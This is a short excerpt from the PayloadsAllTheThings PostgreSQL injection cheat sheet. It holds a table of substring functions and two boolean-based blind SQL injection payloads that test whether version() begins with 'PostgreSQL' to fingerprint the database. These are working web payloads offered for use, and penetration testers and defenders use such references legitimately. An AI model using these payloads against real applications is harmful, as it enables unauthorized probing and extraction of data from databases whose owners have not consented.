| Function | Example | | ----------- | ----------------------------------------------- | | `SUBSTR` | `SUBSTR('foobar', <START>, <LENGTH>)` | | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` | | `SUBSTRING` | `SUBSTRING('foobar' FROM <START> FOR <LENGTH>)` | Examples:
' and substr(version(),1,10) = 'PostgreSQL' and '1 -- TRUE
' and substr(version(),1,10) = 'PostgreXXX' and '1 -- FALSESource: SQL Injection/PostgreSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.